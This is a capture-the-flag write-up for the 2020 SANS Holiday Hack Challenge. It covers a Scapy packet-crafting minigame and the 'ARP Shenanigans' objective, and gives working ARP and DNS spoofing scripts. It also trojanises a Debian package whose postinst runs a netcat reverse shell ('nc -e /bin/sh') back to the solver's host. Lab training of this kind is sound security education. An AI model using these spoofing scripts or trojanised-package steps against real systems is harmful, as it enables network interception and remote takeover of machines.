SANS Kringlecon 2020 — ARP Shenanigans Writeup

Ellis S
15 min readJan 11, 2021

It’s that time of the year again; the 2020 SANS Holiday Hack Challenge, featuring KringleCon 3: French Hens! This year’s event had a total of 12 challenges with a wide range of activities, mainly Penetration Testing boxes although others such as Threat Hunting, Cryptography and even a bit of JavaScript training. There were many different tools provided within each challenge environment (such as Splunk, Amazon S3 bucket finders, CAN BUS traffic monitoring) requiring some foundational knowledge, alongside external research. As such, this is a writeup for Objective 9 — ARP Shenanigans.

Question: Go to the NetWars room on the roof and help Alabaster Snowball get access back to a host using ARP. Retrieve the document at /NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt. Who recused herself from the vote described on the document?

SPOILERS AHEAD:

To start this question, you must have completed Objective 4 — ‘Operate the Santavator’, and acquired access to the NetWars room, as well as Objective — 5 ‘Open the HID lock’, to be Santa. To start, speak to Alastair Snowball, they will say to help them with a suspected ARP Spoofing attack. Hints for this are provided after completing the Scapy Prepper minigame, which is shown how to do below.

Scapy Prepper Minigame

Open the Scapy Prepper UI. This is in Scapy python — this is a packet manipulation tool for computer networks.

To see the tasks use task.get() and from here you will have to start the task using task.submit(‘answer’).

1. Welcome to the “Present Packet Prepper” interface! The North Pole could use your help preparing present packets for shipment.

Start by running the task.submit() function passing in a string argument of ‘start’.

Type task.help() for help on this question.

First answer pretty easy:

task.submit(‘start’)

2. Submit the class object of the scapy module that sends packets at layer 3 of the OSI module.

The OSI Model is the Open Systems Interconnection Model used to describe functions of a networking system.

Third layer of this is Network focussing on packets, IP, ICMP, IGMP, etc.

The hint provided here is:

For example, task.submit(sendp) would submit the sendp scapy class used to send packets at layer 2 of the OSI model.

Scapy classes can be found here.

Sendp sends packets at layer 2. From what we can see in the URL provided is we need to send packets at layer 3:

Therefore, using the same syntax as the example. Send sends the scapy calls out of a network interface:

Answer:

task.submit(send)

3. Submit the class object of the scapy module that sniffs network packets and returns those packets in a list.

Look for “Sniff packets and return a list of packets.” at the link here. There are two functions that do this; AsyncSniffer and sniff, the answer is sniff:

Answer:

task.submit(sniff)

4. Submit the NUMBER only from the choices below that would successfully send a TCP packet and then return the first sniffed response packet to be stored in a variable named “pkt”:
1. pkt = sr1(IP(dst=”127.0.0.1")/TCP(dport=20))
2. pkt = sniff(IP(dst=”127.0.0.1")/TCP(dport=20))
3. pkt = sendp(IP(dst=”127.0.0.1")/TCP(dport=20))

● Sr1 Sends packets at layer 3 and returns only the first answer.

● Sendp sends packets at layer 2

● Sniff sniffs packets and returns a list of packets

Therefore it’s number 1.

Answer:

task.submit(1)

5. Submit the class object of the scapy module that can read pcap or pcapng files and return a list of packets.

Hint:

Look for “Read a pcap or pcapng file and return a packet list” at the link here. Looking through this we see the below command:

scapy.utils.rdpcap(filename, count=- 1)

Read a pcap or pcapng file and return a packet list.

Answer:

task.submit(rdpcap)

6. The variable UDP_PACKETS contains a list of UDP packets. Submit the NUMBER only from the choices below that correctly prints a summary of UDP_PACKETS:

1. UDP_PACKETS.print()

2. UDP_PACKETS.show()

3. UDP_PACKETS.list()

From testing all the functions can see its 2.

Answer:

task.submit(2)

7. Submit only the first packet found in UDP_PACKETS.

Hint: You can specify an item from a list using “list_var_name[num]” where “num” is the item number you want starting at 0.

With this logic we can use:

UDP_PACKETS[0] for the first packet.

Answer:

task.submit(UDP_PACKETS[0])

8. Submit only the entire TCP layer of the second packet in TCP_PACKETS.

Hint: If you had a packet stored in a variable named pkt, you could access its IP layer using “pkt[IP]” — from link here.

Answer:

task.submit(TCP_PACKETS[1][TCP])

9. Change the source IP address of the first packet found in UDP_PACKETS to 127.0.0.1 and then submit this modified packet.

pkt[IP].dst = “10.10.10.10” would change the destination IP address of a packet in a variable named “pkt”. Use this method to modify the src IP and submit the changed packet.

Answer:

UDP_PACKETS[0][IP].src=”127.0.0.1"
task.submit(UDP_PACKETS[0][IP])

10. Submit the password “task.submit(‘elf_password’)” of the user alabaster as found in the packet list TCP_PACKETS.

You can access each packets Raw payload using TCP_PACKETS[0][Raw].load only incrementing 0 each packet (if that particular packet has a payload).

Answer:

TCP_PACKETS[6][Raw].load

This gives a response:

b’PASS echo\r\n’

task.submit(‘echo’)

11. The ICMP_PACKETS variable contains a packet list of several icmp echo-request and icmp echo-reply packets. Submit only the ICMP chksum value from the second packet in the ICMP_PACKETS list.

Answer:

ICMP_PACKETS[1][ICMP].chksum
task.submit(19524)

12. Submit the number of the choice below that would correctly create a ICMP echo request packet with a destination IP of 127.0.0.1 stored in the variable named “pkt”

1. pkt = Ether(src=’127.0.0.1')/ICMP(type=”echo-request”)

2. pkt = IP(src=’127.0.0.1')/ICMP(type=”echo-reply”)

3. pkt = IP(dst=’127.0.0.1')/ICMP(type=”echo-request”)

As ICMP is at the Network layer alongside IP and DNS, this will be an IP based packet with a dst of 127.0.0.1.

Answer:

task.submit(3)

13. Create and then submit a UDP packet with a dport of 5000 and a dst IP of 127.127.127.127. (all other packet attributes can be unspecified)

Here is a good link on creating packets with scapy, link here.

packet = Ether()/IP(dst=’127.127.127.127')/UDP(dport=5000)
task.submit(packet)

14. Create and then submit a UDP packet with a dport of 53, a dst IP of 127.2.3.4, and is a DNS query with a qname of “elveslove.santa”. (all other packet attributes can be unspecified)

You can reference UDP_PACKETS[0] for a similar packet but don’t use this exact packet but create a new one. You can also reference this link here.

Answer:

packet=Ether()/IP(dst=”127.2.3.4")/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname=”elveslove.santa”))
task.submit(packet)

15. The variable ARP_PACKETS contains an ARP request and response packets. The ARP response (the second packet) has 3 incorrect fields in the ARP layer. Correct the second packet in ARP_PACKETS to be a proper ARP response and then task.submit(ARP_PACKETS) for inspection.

The three fields in ARP_PACKETS[1][ARP] that are incorrect are op, hwsrc, and hwdst. A sample ARP pcap can be referenced here. You can run the “reset_arp()” function to reset the ARP packets back to their original form.

This is the request ARP:

<ARP hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=who-has hwsrc=00:16:ce:6e:8b:24 psrc=192.168.0.114 hwdst=00:00:00:00:00:00 pdst=192.168.0.1 |>

We need to make the response header look like the request one. We can do this using the following commands in the image below:

<ARP hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=is-at hwsrc=00:13:46:0b:22:ba psrc=192.168.0.1 hwdst=00:16:ce:6e:8b:24 pdst=192.168.0.114 |<Padding load=’\xc0\xa8\x00r’ |>>

Answer:

ARP_PACKETS[1][ARP].op="is-at"
ARP_PACKETS[1][ARP].hwsrc="00:13:46:0b:22:ba"
ARP_PACKETS[1][ARP].hwdst="00:16:ce:6e:8b:24"
task.answer(ARP_PACKETS)

And that finishes the Scapy Prepper minigame!

Objective 9 — ARP Shenanigans

After completing Scapy Prepper, we will receive the following hints from Alabaster Snowball:

● The host is performing an ARP request. Perhaps we could do a spoof to perform a machine-in-the-middle attack. I think we have some sample scapy traffic scripts that could help you in /home/guest/scripts

● The malware on the host does an HTTP request for a .deb package. Maybe we can get command line access by sending it a command in a customized .deb file

● Jack Frost must have gotten malware on our host at 10.6.6.35 because we can no longer access it. Try sniffing the eth0 interface using tcpdump -nni eth0 to see if you can view any traffic from that host

● Hmmm, looks like the host does a DNS request after you successfully do an ARP spoof. Let’s return a DNS response resolving the request to our IP

If we concatenate the motd file, we get additional information also:

● Jack Frost has hijacked the host at 10.6.6.35 with some custom malware.

● Help the North Pole by getting command line access back to this host.

● Read the HELP.md file for information to help you in this endeavour.

● Note: The terminal lifetime expires after 30 or more minutes so be sure to copy off any essential work you have done as you go.

If we open the HELP.md file, we also get information about running a http server, sample pcaps on CloudShark for ARP and DNS, as well as some functions for tshark and tcpdump.

Note that for this challenge, we need to utilise tmux (used in the minigame ‘Unescape Tmux’) which creates multisession screens as seen in one of the previous minigames, some of the commands are below:

Ctrl+B+up or down — Resize terminals

Ctrl+B+o — Switch between terminals

`/usr/bin/tmux split-window -hb` — To add an additional terminal pane

Let’s investigate the network traffic:

tcpdump -nni eth0

As we can see 10.6.6.53 is flooding IP address 10.6.6.35 with ARP requests which is common as part of a MITM attack.

Let’s look at the ARP pcap:

Following on, let’s look at the DNS pcap:

To find your own IP and MAC address, use ifconfig. My IP was 10.6.0.2 and my mac as 02:42:0a:06:00:02. This is subject to change each time the window times out (30 mins), sometimes randomly also, or you close the window.

In order to apply the ARP script, we require the victim mac address also:

tcpdump -i eth0 –en

From this we can see the victim Mac is 4c:24:57:ab:ed:84 and IP is 10.6.6.35.

If we look at the scripts folder, we can see there is an arp_resp.py and a dns_resp.py script.

If we open the ARP script, there are numerous variables we need to change specific to our attack:

ether_resp = Ether(dst="SOMEMACHERE", type=0x806, src="SOMEMACHERE")
arp_response = ARP(pdst="SOMEMACHERE")
arp_response.op = 99999
arp_response.plen = 99999
arp_response.hwlen = 99999
arp_response.ptype = 99999
arp_response.hwtype = 99999
arp_response.hwsrc = "SOMEVALUEHERE"
arp_response.psrc = "SOMEVALUEHERE"
arp_response.hwdst = "SOMEVALUEHERE"
arp_response.pdst = "SOMEVALUEHERE"

If we look at the ARP-Packet.pcap sample provided on CloudShark, we can see what needs to be used within these variables. As this is a reply packet we are spoofing, we need to replicate a legit ARP reply packet. From the previous tcpdump we can see that 10.6.6.35 is the adversary here and so the destination packet will be to this address.

Therefore at the Ethernet (or datalink) level we use mac addresses, therefore ‘dst’ would be adversary mac and ‘src’ would be our mac address as we are spoofing this.

Following on from here we have ARP(pdst=”SOMEMACHERE”). As ARP is at the network layer with IP, we would use the destination IP here.

From the sample packets we can also see that the op code, protocol size, hardware length, protocol type and hardware type should all be 2, 4, 6, 0x0800 and 1 respectively:

For the remaining variables, this article from the thePacketGeek will help. From here we can see sniffed variables for an ARP response:

Therefore, for my IP of 10.6.6.02, the following variables are used:

ether_resp = Ether(dst=”4c:24:57:ab:ed:84", type=0x806, src=”02:42:0a:06:00:02")
arp_response = ARP(pdst="4c:24:57:ab:ed:84")
arp_response.op = 2
arp_response.plen = 4
arp_response.hwlen = 6
arp_response.ptype = 0x0800
arp_response.hwtype = 0x1
arp_response.hwsrc = "02:42:0a:06:00:02"
arp_response.psrc = "10.6.6.53"
arp_response.hwdst = "4c:24:57:ab:ed:84"
arp_response.pdst = "10.6.6.35"

If we then amend the variables for this file using nano or vim and then run the script:

./arp_resp.py

Once the ARP request has been performed, a DNS request to domain ftp.osuosl.org is sent and been sniffed by us. The next steps here are to create a DNS spoof using also the ‘python3 -m http.server 80’ printed earlier.

If we open up the DNS script this time, we will see the following variables need to be populated to perform a DNS spoof:

ipaddr_we_arp_spoofed = "10.6.1.10"
def handle_dns_request(packet):
# Need to change mac addresses, Ip Addresses, and ports below.
# We also need
eth = Ether(src="00:00:00:00:00:00", dst="00:00:00:00:00:00") # need to replace mac addresses
ip = IP(dst="0.0.0.0", src="0.0.0.0") # need to replace IP addresses
udp = UDP(dport=99999, sport=99999) # need to replace ports
dns = DNS(
# MISSING DNS RESPONSE LAYER VALUES
)
dns_response = eth / ip / udp / dns
sendp(dns_response, iface="eth0")

● The IP address we are spoofing here is the adversary, 10.6.6.53

● At Ethernet level, we use MAC addresses — src being our MAC and dst being the adversary MAC

● IP we use the IP addresses, as we want this to appear legitimate — dst is the adversary IP and src is the victim IP

● DNS has been designed to be used on TCP and UDP, although for an ARP cache poisoning we use UDP because it does not perform a ‘handshake’ to initiate comms and verify the devices. Both ports will be DNS port number 53

Finally, the DNS command, or how I call it, the bane of my life:

We want to see how DNS packets should perform and to do this we must investigate the packets using some of the knowledge acquired from the Scapy Prepper minigame.

cd pcaps
python3
from scapy.all import *
packets = rdpcap(‘dns.pcap’)

If we now look at both packets (request and response) we will be able to see what should go into the DNS query for the script:

If we look at the packets reply, i.e. the 2nd DNS packet [DNS][1], compared to the request, we can see the response has the DNS Round Robin (DNSRR) mode. So, ‘qd’ is the query and ‘an’ is the answer.

Looking at the DNS packets from the CloudShark sample, we can see that the response packet contains both the initial query content as well as the answer:

The script therefore needs to be written to capture the initial query and reply. We can actually figure out what these other variables are using the link below and if we actually need them. I gathered the information from the following sites:

http://www.networksorcery.com/enp/protocol/dns.htm

https://scapy.readthedocs.io/en/latest/api/scapy.layers.dns.html#scapy.layers.dns.DNSQRField

https://jasonmurray.org/posts/scapydns/

https://gist.github.com/joenorton8014/1beb5b2204c1504cf63c3f2755f574cd

● AA — Authoritative Answer

● TC — Truncated

● RD — Recursion Desired

● RA — Recursion Available

● Z — 1 BIT

● Ad — Authenticated Data

● Cd — Checking Disabled

● Rcode — Return Code

● QR — Query/Response

● Op Code — Query, etc.

● NS — Authoritative Name Server

● Qname — Domain to Query

● Rdata — Response data (IP field)

Knowing this information, we can start to build the DNS Query and Response:

DNS(qd=packet[DNS].qd,aa=1,rd=0,qr=1,an=DNSRR(rrname='ftp.osuosl.org',rdata='10.6.0.2'))

The final variables for this script are therefore:

ipaddr_we_arp_spoofed = "10.6.6.53"
def handle_dns_request(packet):
# Need to change mac addresses, Ip Addresses, and ports below.
# We also need
eth = Ether(src="02:42:0a:06:00:02", dst="4c:24:57:ab:ed:84")
ip = IP(dst="10.6.6.35", src="10.6.6.53")
udp = UDP(dport=53, sport=53)
dns = DNS(qd=packet[DNS].qd,aa=1,rd=0,qr=1,an=DNSRR(rrname='ftp.osuosl.org',rdata='10.6.0.2'))
dns_response = eth / ip / udp / dns
sendp(dns_response, iface="eth0")

So once you have your scripts successfully amended and run, with tcpdump running, you will see the following:

This shows us at the bottom there is an RST request. Normally indicating that the SYN packets have no response. Let’s try with the hint previously given:

python3 -m http.server 80

We can see that the adversary attempts for a GET request under the file structure below to a backdoor.

Looking at the HTTP response we get:

GET /pub/jfrost/backdoor/suriv_amd64.deb HTTP/1.1" 404

We therefore need to create this file structure again and run the http server again, pointing to this fake file structure and Debian file. You may have noticed we have multiple Debian files in the debs folder:

There was also a hint provided from the minigame on how to trojanise a Debian file. For this we want to use a reverse shell. As a hint, we need to ensure the Debian file has the same structure as the ‘suriv’ Debian file, using AMD 64 structure, the x86–64 instruction set.

Obviously looking at these we do not use Metasploit. This part of the box actually took ages also with a load of trial and error. We can also use a reverse shell cheat sheet — try using LOTL techniques as they are:

a) Likelier to be configured on the adversary’s shell

b) Less likely to require sudo to run.

I tried bash but didn’t have the correct permissions to run.

Therefore, the next best guess was netcat:

nc -e /bin/sh 10.6.0.2 4444

Note: It’s important not to run this on port 80 as this is entirely independent of the web server.

We can then test this in another screen from tmux, using nc as a listener:

nc -lvnp 4444

We can then weaponise a legitimate Debian file. The file structure will be /pub/jfrost/backdoor which we will make using the mkdir command followed by moving the netcat file into this file structure. I chose to weaponise the netcat Debian file as it’s in the AMD 64 structure.

Note: At the very end, the .deb file must also be renamed as suriv_amd64.deb. After this we run the http server, nc listener, DNS and ARP spoofing and we will then receive a shell on the netcat listener.

Following the steps in the Debian file weaponisation site tailoring this to our environment, the control file is compressed as a .xz file so this needs to be decompressed then gzipped to make a .tar.gz file:

~$ dpkg -x netcat-traditional_1.10–41.1ubuntu1_amd64.deb work
~$ mkdir work/DEBIAN
~$ ar -x netcat-traditional_1.10–41.1ubuntu1_amd64.deb
~$ xz - decompress control.tar.xz
~$ gzip control.tar
~$ tar -zxvf control.tar.gz ./control
~$ tar -zxvf control.tar.gz ./postinst
~$ mv control work/DEBIAN
~$ mv postinst work/DEBIAN

Next, let’s amend postinst and rewrite it so that it contains the reverse shell we mentioned above using port 4444. Using nano or vim, it should look like this:

Next, let’s change the file permissions of this file:

Next, let’s rebuild the package, and give it the name suriv_amd64.deb:

We have now weaponised the .deb file! Next we need to open the server (in the appropriate directory), use nc listener, run the ARP and DNS poisoning scripts again.

In 1 screen, run in the file directory /pub/jfrost/backdoor:

python3 -m http.server 80

Secondly run the netcat listener in another screen:

nc -lvnp 4444

Thirdly, run DNS script:

./dns.py

Note: I found it easier to copy the scripts into a notepad and then create a new file under the names dns.py and arp.py to save time.

Fourthly (and finally, I promise) we run the arp spoof in another screen:

./arp.py

From here we can see that the backdoor has been successfully downloaded. Next we go into the netcat listener and look for the initial file:

If we run ‘ls’ on the listener we can see the file we are after.

Concatenating this we see the file:

Reading carefully, we see that it was Tanta Kringle who recused herself from the vote. This is the flag!

Answer: Tanta Kringle

And that wraps this challenge up. This was a huge learning curve for myself and hopefully you have learnt something from this as well.

As always, stay safe!

--

--

Ellis S

Digital Forensics, Incident Response and Threat Hunting things.